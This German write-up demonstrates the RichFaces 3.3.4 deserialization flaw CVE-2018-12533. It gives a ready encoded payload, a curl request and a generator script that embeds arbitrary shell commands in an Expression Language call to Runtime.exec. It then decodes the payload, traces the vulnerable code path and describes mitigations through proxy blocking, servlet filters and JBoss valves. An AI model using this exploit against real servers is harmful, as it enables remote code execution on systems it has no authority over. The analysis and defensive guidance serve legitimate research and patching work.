
Demonstriert CVE-2018-12533 Remote Code Execution in RichFaces 3.3.4. Enthält Payload-Generierung, Java-Deserialisierungsanalyse und Minderungsstrategien mittels Filtern oder Ventilen.
Details zur CVE-2018-12533. Andere Versionen von RichFaces sind verwundbar, wie hier zu sehen ist.
export PAYLOAD_BASE64_RICHFACES='eJx1k8-LFEcUx98MuKtZD0YhIQTJOkpmBrarZ2ZdWdksmv2BGZg14oigEoY3NW-7a62u6q16M9PrYm5evHr1llMgAcG!wJsEctk!IR4kh4CE5Bzp7tUlktSlisenvu9Lfev99Acc8w4uWRcJp2S8jZK8cGRG5O4rFjEnWtxAZbizcZO8HTtJF7oJRrSBjKsvD3479c-Pz6ow24Xjg2G0brV1XZgdbFuXIOenmFQUcxdmBlM14vgunJAoY8Khph4cG4yQkeF0bwcnGGo0UfjtcIckr!RgZpDmjXfhe6hkKZSrAgBfAICF1Dv4Mr-WidK1tElqDRkWfUamb6wekevjhNydX56vPnn661YVqj04ITV6fx0T-nffPjtlopUefORxQqNCg-GTklA27JNTqNWD3PlKlubt69Imwo9NYUATe0Fa9ChCubdFHNvRmjIjZaJ33qtQ6UElYfi8UM1C0mEJbmapI--VNSvZ!yrfwuhD-p3ySYDMwWflc5AWH3J4-q8La692uVpwZ95zR8QPjx73!7x78FVO5A7O5V9iZ2i9!y-9bpLq4ZtP!5578fFW3jsPae4BQGWuMnt-v8hj3RqmjEVEvJkxOYP6sNRo5sX1PIZGU2xbl4fRqJWmvHQqZdEvtk0TKUNbaDAiV2sKQ9Ou8YxGUilSAmt7hwq-1hQ0QV2KiTxXcXNsWCWU04fHRlNQRrJxrz5EH9cX6oGsL9TZjmU8H3KShu8nIZiMtSGHQ6UV7wVyQkGn1V4O2p2lxcXAbQfti4vtVtBpdZZa7VYnaLdbF5eW6981a82HAGMHZ-71jpwc!rCfD26!!v3s!rXipQGgymUgAqcsrjlMYyV9Z4Ph1NHVcijSNJt-DVfCiaKpD6U1fqwZb-DIoRVZPqvzVy8vLyy154vJWa2d35eYsoxxjdCIoviwlr0F6sFSwQ__'
curl "http://localhost:8080/myapp/a4j/s/3_3_3.Finalorg.richfaces.renderkit.html.Paint2DResource/DATA/${PAYLOAD_BASE64_RICHFACES}.seam"
Nach DATA/ und vor .seam befindet sich das Payload des Angriffs. Dies ist lediglich eine serialisierte, gezippte und Base64-kodierte Java-Klasse. Es handelt sich um ein Base64-Format, das von RichFaces leicht modifiziert wurde, um URL-kompatibel zu sein.
Diese Klasse enthält eine Befehlszeile im Format der Expression Language, die von der Anwendung, genauer gesagt von RichFaces, ausgeführt wird, und genau hier liegt das Problem, denn beliebiger Code kann auf dem Server ausgeführt werden.
Der im obigen Payload kodierte Befehl ist
touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458(nur zu Demonstrationszwecken) und wir werden das gleich feststellen.
git clone [email protected]:mhagnumdw/richfaces-vulnerability-cve-2018-12533-rf-14310.git
cd richfaces-vulnerability-cve-2018-12533-rf-14310
echo "${PAYLOAD_BASE64_RICHFACES}" | \
sed 's/-/+/g' | \
sed 's#!#/#g' | \
sed 's/_/=/g' | \
base64 -d | \
zlib-flate -uncompress > UmaClasse.serialized-class.bin
Konvertiert das Payload vom RichFaces-Base64-Format in das Standard-Base64-Format. Dekodiert das Base64, das in diesem Fall ein gezipptes Binärformat ist, und dekomprimiert es, wodurch das Binärformat der serialisierten Java-Klasse erzeugt wird.
Hier sehen wir den bösartigen Befehl, der sich im Payload befindet.
Der folgende Befehl zeigt alle Attribute der Klasse und die entsprechenden in der Klasse definierten Typen an. Es werden nicht die Laufzeittypen angezeigt; wenn Sie nicht wissen, was das bedeutet, ist das in Ordnung.
Hier führen wir Java-Code wie ein Skript aus, dank JBang
chmod +x JavaObjectDeserializer.java
./JavaObjectDeserializer.java UmaClasse.serialized-class.bin
Die Ausgabe sieht etwa so aus:
Objeto java convertido para JSON:
{
"_width (int)": 111,
"_height (int)": 31,
"_data (java.lang.Object)": null,
"_format (int)": 1,
"_paint (java.lang.Object)": {
"className (java.lang.String)": null,
"savedState (java.io.Serializable)": {
"m (javax.el.MethodExpression)": {
"attr (java.lang.String)": "/views/consultaPadrao.xhtml @98,51 paint=\"#{captchaBean.paint}\"",
"orig (javax.el.MethodExpression)": {
"expectedType (java.lang.Class)": null,
"expr (java.lang.String)": "#{facesContext.getExternalContext().getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"java.lang.Runtime.getRuntime().exec(['bash','-c','touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458'])\")}",
"fnMapper (javax.el.FunctionMapper)": null,
"varMapper (javax.el.VariableMapper)": null,
"paramTypes ([Ljava.lang.Class;)": [
"java.awt.Graphics2D",
"java.lang.Object"
]
}
}
}
},
"cacheable (boolean)": false,
"_bgColor (int)": 0
}
Arquivo .class gravado em: org.richfaces.renderkit.html.Paint2DResource$ImageData.class
⚠️ Der Hauptpunkt ist das Attribut _paint.savedState.m.orig.expr, in dem sich der bösartige Code befindet, der in diesem Beispiel nur ein harmloser Code ist, der eine Datei auf der Festplatte erstellt: touch /tmp/richfaces-vulnerability-cve-2018-12533-rf-14310-20250102-110458
chmod +x Generator_Paint2DResourceImageData.java
./Generator_Paint2DResourceImageData.java
# ou
./Generator_Paint2DResourceImageData.java <um comando aqui>
./Generator_Paint2DResourceImageData.java touch /tmp/alguem-esteve-aqui
Die Ausgabe zeigt die Befehle an, die Sie gegen einen verwundbaren Server ausführen können. Passen Sie nur die URL an.
Eine weniger einfache, aber leistungsfähigere Option ist es, den RichFaces-Code zu modifizieren, um eine Behandlung durchzuführen. Unten ist der relevante Stack angegeben.
Eine andere einfachere Option als die vorherige ist die Erstellung eines Filters (javax.servlet.Filter), der nur auf den betreffenden Pfad wirkt, das im Pfad vorhandene Base64 deserialisiert und die entsprechende Prüfung durchführt, um festzustellen, ob die Anfrage fortgesetzt oder abgelehnt werden muss. Es ist wichtig zu betonen, dass die Deserialisierung über die Klasse LookAheadObjectInputStream erfolgen muss, wie es in org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String) gemacht wird, um Sicherheitsprobleme während der Deserialisierung wie z.B. die Ausführung von bösartigem Code so weit wie möglich zu vermeiden.
Eine Option ist, den Pfad des Endpunkts in einem Proxy vor der Anwendung zu blockieren.
Eine andere Option, die meiner Meinung nach eine Implementierung wert ist, die aber die erste Option nicht ersetzt, ist die Erstellung eines Filters (javax.servlet.Filter), der nur auf den betreffenden Pfad wirkt und den Zugriff blockiert. Die Blockierung besteht lediglich darin, die Anfrage zu beantworten, ohne die Filterkette weiter ausführen zu lassen. Sie können einen Text im Body und den HTTP-Statuscode 410 (Gone) verwenden. Denken Sie daran, dass dieser Filter in der web.xml der Anwendung definiert werden muss. Ein Beispiel für diesen Filter: PathBlockerFilter.
Wenn Sie JBoss EAP verwenden, kann der hier genannte Filter als Valve implementiert werden (die Änderung ist minimal), und:
- es wird vor den in der
web.xmldefinierten Filtern ausgeführt- es muss in der Datei
jboss-web.xmlals erstes<valve>definiert werden, oder- es kann in der standalone.xml (oder domain.xml) im Subsystem
urn:jboss:domain:webüber das Tag<valve>definiert werden- Beispiel für dieses Valve: PathBlockerValve
tl;dr: Der bösartige Code wird von der Methode
org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext)in der Zeilepaint.invoke(facesContext, new Object[] {graphics,data._data});ausgeführt.
Wenn die HTTP-Anfrage gestellt wird, erreicht sie die Methode org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(String), gemäß dem folgenden Stack:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended)
owns: org.apache.coyote.Request (id=27053)
org.ajax4jsf.resource.ResourceBuilderImpl.getResourceDataForKey(java.lang.String) line: 366
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 156
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
dataString = key.substring(dataStart); wird das Base64 im RichFaces-Format extrahiert (denken Sie daran, dass dieses Base64 letztendlich ein Java-Objekt ist, das serialisiert und gezippt wurde);objectArray = decrypt(dataArray) wird dieses Base64 decodiert und dekomprimiert;data = in.readObject() wird das Java-Objekt mit dem bösartigen Code deserialisiert, d.h. man hat die Instanz des Objekts.Danach erreicht die Anfrage die Methode org.richfaces.renderkit.html.Paint2DResource.send(ResourceContext), gemäß dem folgenden Stack:
Daemon Thread [http-0.0.0.0:8080-1] (Suspended (breakpoint at line 187 in org.richfaces.renderkit.html.Paint2DResource))
owns: org.apache.coyote.Request (id=27053)
org.richfaces.renderkit.html.Paint2DResource.send(org.ajax4jsf.resource.ResourceContext) line: 187
org.ajax4jsf.resource.ResourceLifecycle.sendResource(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 221
org.ajax4jsf.resource.ResourceLifecycle.send(org.ajax4jsf.resource.ResourceContext, org.ajax4jsf.resource.InternetResource) line: 148
org.ajax4jsf.resource.InternetResourceService.serviceResource(java.lang.String, javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 226
org.ajax4jsf.resource.InternetResourceService.serviceResource(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse) line: 141
⚠️ Dann wird in der Zeile paint.invoke(facesContext, new Object[] {graphics,data._data}); der bösartige Code schließlich ausgeführt.
Ich nenne einen Fall, die Komponente rich:paint2D: https://docs.jboss.org/richfaces/latest_3_3_X/en/devguide/html_single/#rich_paint2D
Es ist möglich, das von der Anwendung empfangene Payload zu sehen, indem man das DEBUG-Logging für die Klasse org.ajax4jsf.resource.ResourceBuilderImpl aktiviert.